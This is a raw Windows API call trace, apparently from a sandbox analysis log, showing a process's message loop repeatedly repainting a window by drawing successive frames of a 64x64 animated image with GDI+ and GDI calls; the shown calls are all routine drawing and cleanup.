GdipDeleteRegion (region=0x1d2e7c10) returned 0x0 [0124.046] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0124.046] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0124.046] GetSystemMetrics (nIndex=42) returned 0 [0124.046] CoTaskMemAlloc (cb=0x6) returned 0x1afd3ee0 [0124.046] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1afd3ee0, nMaxCount=1 | out: lpString="") returned 0 [0124.047] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1afd3ee0) returned 0x0 [0124.047] CoTaskMemFree (pv=0x1afd3ee0) [0124.047] GdipImageSelectActiveFrame (image=0x1dc21b40, dimensionID=0x15db10*(Data1=0x6aedbd6d, Data2=0x3fb5, Data3=0x418a, Data4=([0]=0x83, [1]=0xa6, [2]=0x7f, [3]=0x45, [4]=0x22, [5]=0x9d, [6]=0xc8, [7]=0x72)), frameIndex=0xc) returned 0x0 [0124.049] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0124.049] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0124.049] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0124.049] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0124.049] BitBlt (hdc=0x1010b9d, x=0, y=0, cx=64, cy=64, hdcSrc=0x5e01018a, x1=0, y1=0, rop=0xcc0020) returned 1 [0124.049] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0124.049] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x5e01018a) returned 0x0 [0124.049] SelectObject (hdc=0x5e01018a, h=0x185000f) returned 0x1a05067e [0124.049] DeleteDC (hdc=0x5e01018a) returned 1 [0124.050] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0124.050] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0124.050] SelectPalette (hdc=0x1010b9d, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0124.050] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0124.050] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0124.050] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0124.050] WaitMessage () returned 1 [0124.228] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0124.228] IsWindowUnicode (hWnd=0x2031e) returned 1 [0124.228] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0124.229] TranslateMessage (lpMsg=0x15e910) returned 0 [0124.229] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0124.229] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0124.229] GetCurrentThreadId () returned 0xec0 [0124.229] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0124.229] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0124.229] IsWindowUnicode (hWnd=0x2031e) returned 1 [0124.229] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0124.229] TranslateMessage (lpMsg=0x15e910) returned 0 [0124.229] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0124.229] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x1010b9d [0124.229] SelectPalette (hdc=0x1010b9d, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0124.230] CreateCompatibleDC (hdc=0x1010b9d) returned 0x5f01018a [0124.230] SelectObject (hdc=0x5f01018a, h=0x1a05067e) returned 0x185000f [0124.230] GdipCreateFromHDC (hdc=0x5f01018a, graphics=0x15daf0) returned 0x0 [0124.230] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0124.230] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0124.230] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0124.230] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0124.230] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0124.230] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a1a70 [0124.230] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7a1a70) returned 0x0 [0124.231] LocalFree (hMem=0x1e7a1a70) returned 0x0 [0124.231] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0124.231] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0124.231] GdipCreateRegion (region=0x15dc20) returned 0x0 [0124.232] GdipGetClip (graphics=0x1de4fd10, region=0x1de43de0) returned 0x0 [0124.232] GdipIsInfiniteRegion (region=0x1de43de0, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0124.232] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0124.232] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0124.232] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0124.232] GetSystemMetrics (nIndex=42) returned 0 [0124.232] CoTaskMemAlloc (cb=0x6) returned 0x4ffeb0 [0124.232] GetWindowTextW (in: hWnd=0x2031e, lpString=0x4ffeb0, nMaxCount=1 | out: lpString="") returned 0 [0124.232] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x4ffeb0) returned 0x0 [0124.232] CoTaskMemFree (pv=0x4ffeb0) [0124.232] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0124.232] GdipCreateRegion (region=0x15d710) returned 0x0 [0124.232] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0124.233] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0124.233] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0124.233] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0124.233] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a1a70 [0124.233] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7a1a70) returned 0x0 [0124.233] LocalFree (hMem=0x1e7a1a70) returned 0x0 [0124.233] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1de43de0, combineMode=0x1) returned 0x0 [0124.233] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a1a70 [0124.233] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7a1a70) returned 0x0 [0124.234] LocalFree (hMem=0x1e7a1a70) returned 0x0 [0124.234] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0124.234] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0124.234] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0124.234] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0124.234] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0124.234] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0124.234] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0124.235] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0124.235] GetCurrentObject (hdc=0x5f01018a, type=0x1) returned 0x1b00017 [0124.235] GetCurrentObject (hdc=0x5f01018a, type=0x2) returned 0x1900010 [0124.235] GetCurrentObject (hdc=0x5f01018a, type=0x7) returned 0x1a05067e [0124.235] GetCurrentObject (hdc=0x5f01018a, type=0x6) returned 0x18a002e [0124.235] SaveDC (hdc=0x5f01018a) returned 1 [0124.235] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x6c0407c3 [0124.235] GetClipRgn (hdc=0x5f01018a, hrgn=0x6c0407c3) returned 0 [0124.235] SelectClipRgn (hdc=0x5f01018a, hrgn=0x3c040b8a) returned 2 [0124.235] DeleteObject (ho=0x6c0407c3) returned 1 [0124.235] DeleteObject (ho=0x3c040b8a) returned 1 [0124.235] OffsetViewportOrgEx (in: hdc=0x5f01018a, x=0, y=0, lppt=0x27735f8 | out: lppt=0x27735f8) returned 1 [0124.235] GetNearestColor (hdc=0x5f01018a, color=0xffffff) returned 0xffffff [0124.236] CreateSolidBrush (color=0xffffff) returned 0x44100190 [0124.236] FillRect (hDC=0x5f01018a, lprc=0x15d7c0, hbr=0x44100190) returned 1 [0124.236] DeleteObject (ho=0x44100190) returned 1 [0124.236] RestoreDC (hdc=0x5f01018a, nSavedDC=-1) returned 1 [0124.236] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0124.236] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x5f01018a) returned 0x0 [0124.236] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffd5e0dbd) returned 0x0 [0124.236] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0124.236] GdipDeleteRegion (region=0x1de43de0) returned 0x0 [0124.236] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0124.236] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0124.236] GetSystemMetrics (nIndex=42) returned 0 [0124.236] CoTaskMemAlloc (cb=0x6) returned 0x4ffeb0 [0124.236] GetWindowTextW (in: hWnd=0x2031e, lpString=0x4ffeb0, nMaxCount=1 | out: lpString="") returned 0 [0124.236] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x4ffeb0) returned 0x0 [0124.237] CoTaskMemFree (pv=0x4ffeb0) [0124.237] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0124.237] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0124.237] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0124.237] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0124.237] BitBlt (hdc=0x1010b9d, x=0, y=0, cx=64, cy=64, hdcSrc=0x5f01018a, x1=0, y1=0, rop=0xcc0020) returned 1 [0124.237] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0124.237] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x5f01018a) returned 0x0 [0124.237] SelectObject (hdc=0x5f01018a, h=0x185000f) returned 0x1a05067e [0124.237] DeleteDC (hdc=0x5f01018a) returned 1 [0124.237] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0124.237] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0124.237] SelectPalette (hdc=0x1010b9d, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0124.238] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0124.238] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0124.238] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0124.238] WaitMessage () returned 1 [0124.418] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0124.418] IsWindowUnicode (hWnd=0x2031e) returned 1 [0124.418] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0124.418] TranslateMessage (lpMsg=0x15e910) returned 0 [0124.418] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0124.419] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0124.419] GetCurrentThreadId () returned 0xec0 [0124.419] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0124.419] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0124.419] IsWindowUnicode (hWnd=0x2031e) returned 1 [0124.419] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0124.419] TranslateMessage (lpMsg=0x15e910) returned 0 [0124.419] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0124.419] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x1010b9d [0124.419] SelectPalette (hdc=0x1010b9d, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0124.419] CreateCompatibleDC (hdc=0x1010b9d) returned 0x6001018a [0124.420] SelectObject (hdc=0x6001018a, h=0x1a05067e) returned 0x185000f [0124.420] GdipCreateFromHDC (hdc=0x6001018a, graphics=0x15daf0) returned 0x0 [0124.420] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0124.420] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0124.420] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0124.420] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0124.420] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0124.420] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a1a70 [0124.420] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7a1a70) returned 0x0 [0124.421] LocalFree (hMem=0x1e7a1a70) returned 0x0 [0124.421] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0124.421] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0124.421] GdipCreateRegion (region=0x15dc20) returned 0x0 [0124.421] GdipGetClip (graphics=0x1de4fd10, region=0x1de43de0) returned 0x0 [0124.421] GdipIsInfiniteRegion (region=0x1de43de0, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0124.421] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0124.421] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0124.421] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0124.421] GetSystemMetrics (nIndex=42) returned 0 [0124.421] CoTaskMemAlloc (cb=0x6) returned 0x4ffeb0 [0124.422] GetWindowTextW (in: hWnd=0x2031e, lpString=0x4ffeb0, nMaxCount=1 | out: lpString="") returned 0 [0124.422] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x4ffeb0) returned 0x0 [0124.422] CoTaskMemFree (pv=0x4ffeb0) [0124.422] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0124.422] GdipCreateRegion (region=0x15d710) returned 0x0 [0124.422] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0124.423] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0124.423] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0124.423] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0124.423] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a1a70 [0124.423] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7a1a70) returned 0x0 [0124.423] LocalFree (hMem=0x1e7a1a70) returned 0x0 [0124.423] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1de43de0, combineMode=0x1) returned 0x0 [0124.423] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a1a70 [0124.423] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7a1a70) returned 0x0 [0124.424] LocalFree (hMem=0x1e7a1a70) returned 0x0 [0124.424] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0124.424] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0124.424] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0124.424] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0124.424] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0124.424] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0124.424] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0124.424] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0124.424] GetCurrentObject (hdc=0x6001018a, type=0x1) returned 0x1b00017 [0124.424] GetCurrentObject (hdc=0x6001018a, type=0x2) returned 0x1900010 [0124.424] GetCurrentObject (hdc=0x6001018a, type=0x7) returned 0x1a05067e [0124.425] GetCurrentObject (hdc=0x6001018a, type=0x6) returned 0x18a002e [0124.425] SaveDC (hdc=0x6001018a) returned 1 [0124.425] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x3d040b8a [0124.425] GetClipRgn (hdc=0x6001018a, hrgn=0x3d040b8a) returned 0 [0124.425] SelectClipRgn (hdc=0x6001018a, hrgn=0x6d0407c3) returned 2 [0124.425] DeleteObject (ho=0x3d040b8a) returned 1 [0124.425] DeleteObject (ho=0x6d0407c3) returned 1 [0124.425] OffsetViewportOrgEx (in: hdc=0x6001018a, x=0, y=0, lppt=0x2775440 | out: lppt=0x2775440) returned 1 [0124.425] GetNearestColor (hdc=0x6001018a, color=0xffffff) returned 0xffffff [0124.425] CreateSolidBrush (color=0xffffff) returned 0x45100190 [0124.425] FillRect (hDC=0x6001018a, lprc=0x15d7c0, hbr=0x45100190) returned 1 [0124.425] DeleteObject (ho=0x45100190) returned 1 [0124.426] RestoreDC (hdc=0x6001018a, nSavedDC=-1) returned 1 [0124.426] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0124.426] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x6001018a) returned 0x0 [0124.426] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffd5c0dbd) returned 0x0 [0124.426] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0124.426] GdipDeleteRegion (region=0x1de43de0) returned 0x0 [0124.426] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0124.426] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0124.426] GetSystemMetrics (nIndex=42) returned 0 [0124.426] CoTaskMemAlloc (cb=0x6) returned 0x4ffeb0 [0124.426] GetWindowTextW (in: hWnd=0x2031e, lpString=0x4ffeb0, nMaxCount=1 | out: lpString="") returned 0 [0124.426] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x4ffeb0) returned 0x0 [0124.426] CoTaskMemFree (pv=0x4ffeb0) [0124.426] GdipImageSelectActiveFrame (image=0x1dc21b40, dimensionID=0x15db10*(Data1=0x6aedbd6d, Data2=0x3fb5, Data3=0x418a, Data4=([0]=0x83, [1]=0xa6, [2]=0x7f, [3]=0x45, [4]=0x22, [5]=0x9d, [6]=0xc8, [7]=0x72)), frameIndex=0xe) returned 0x0 [0124.429] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0124.429] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0124.429] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0124.429] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0124.429] BitBlt (hdc=0x1010b9d, x=0, y=0, cx=64, cy=64, hdcSrc=0x6001018a, x1=0, y1=0, rop=0xcc0020) returned 1 [0124.429] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0124.429] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x6001018a) returned 0x0 [0124.429] SelectObject (hdc=0x6001018a, h=0x185000f) returned 0x1a05067e [0124.429] DeleteDC (hdc=0x6001018a) returned 1 [0124.429] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0124.429] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0124.429] SelectPalette (hdc=0x1010b9d, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0124.430] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0124.430] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0124.430] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0124.430] WaitMessage () returned 1 [0124.601] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0124.601] IsWindowUnicode (hWnd=0x2031e) returned 1 [0124.601] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0124.602] TranslateMessage (lpMsg=0x15e910) returned 0 [0124.602] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0124.602] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0124.602] GetCurrentThreadId () returned 0xec0 [0124.602] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0124.602] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0124.602] IsWindowUnicode (hWnd=0x2031e) returned 1 [0124.602] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0124.602] TranslateMessage (lpMsg=0x15e910) returned 0 [0124.602] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0124.602] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x1010b9d [0124.603] SelectPalette (hdc=0x1010b9d, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0124.603] CreateCompatibleDC (hdc=0x1010b9d) returned 0x6101018a [0124.603] SelectObject (hdc=0x6101018a, h=0x1a05067e) returned 0x185000f [0124.603] GdipCreateFromHDC (hdc=0x6101018a, graphics=0x15daf0) returned 0x0 [0124.603] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0124.603] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0124.603] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0124.603] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0124.603] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0124.603] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a1b70 [0124.603] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7a1b70) returned 0x0 [0124.604] LocalFree (hMem=0x1e7a1b70) returned 0x0 [0124.604] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0124.604] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0124.604] GdipCreateRegion (region=0x15dc20) returned 0x0 [0124.604] GdipGetClip (graphics=0x1de4fd10, region=0x1d2e7c10) returned 0x0 [0124.604] GdipIsInfiniteRegion (region=0x1d2e7c10, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0124.604] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0124.604] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0124.604] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0124.604] GetSystemMetrics (nIndex=42) returned 0 [0124.604] CoTaskMemAlloc (cb=0x6) returned 0x4fff00 [0124.604] GetWindowTextW (in: hWnd=0x2031e, lpString=0x4fff00, nMaxCount=1 | out: lpString="") returned 0 [0124.605] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x4fff00) returned 0x0 [0124.605] CoTaskMemFree (pv=0x4fff00) [0124.605] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0124.605] GdipCreateRegion (region=0x15d710) returned 0x0 [0124.605] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0124.605] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0124.605] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0124.605] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0124.605] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a1b70 [0124.605] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7a1b70) returned 0x0 [0124.606] LocalFree (hMem=0x1e7a1b70) returned 0x0 [0124.606] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1d2e7c10, combineMode=0x1) returned 0x0 [0124.606] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a1b70 [0124.606] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7a1b70) returned 0x0 [0124.606] LocalFree (hMem=0x1e7a1b70) returned 0x0 [0124.606] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0124.606] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0124.606] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0124.606] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0124.606] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0124.606] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0124.607] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0124.607] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0124.607] GetCurrentObject (hdc=0x6101018a, type=0x1) returned 0x1b00017 [0124.607] GetCurrentObject (hdc=0x6101018a, type=0x2) returned 0x1900010 [0124.607] GetCurrentObject (hdc=0x6101018a, type=0x7) returned 0x1a05067e [0124.607] GetCurrentObject (hdc=0x6101018a, type=0x6) returned 0x18a002e [0124.607] SaveDC (hdc=0x6101018a) returned 1 [0124.607] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x6e0407c3 [0124.607] GetClipRgn (hdc=0x6101018a, hrgn=0x6e0407c3) returned 0 [0124.607] SelectClipRgn (hdc=0x6101018a, hrgn=0x3e040b8a) returned 2 [0124.607] DeleteObject (ho=0x6e0407c3) returned 1 [0124.607] DeleteObject (ho=0x3e040b8a) returned 1 [0124.607] OffsetViewportOrgEx (in: hdc=0x6101018a, x=0, y=0, lppt=0x2776798 | out: lppt=0x2776798) returned 1 [0124.607] GetNearestColor (hdc=0x6101018a, color=0xffffff) returned 0xffffff [0124.608] CreateSolidBrush (color=0xffffff) returned 0x46100190 [0124.608] FillRect (hDC=0x6101018a, lprc=0x15d7c0, hbr=0x46100190) returned 1 [0124.608] DeleteObject (ho=0x46100190) returned 1 [0124.608] RestoreDC (hdc=0x6101018a, nSavedDC=-1) returned 1 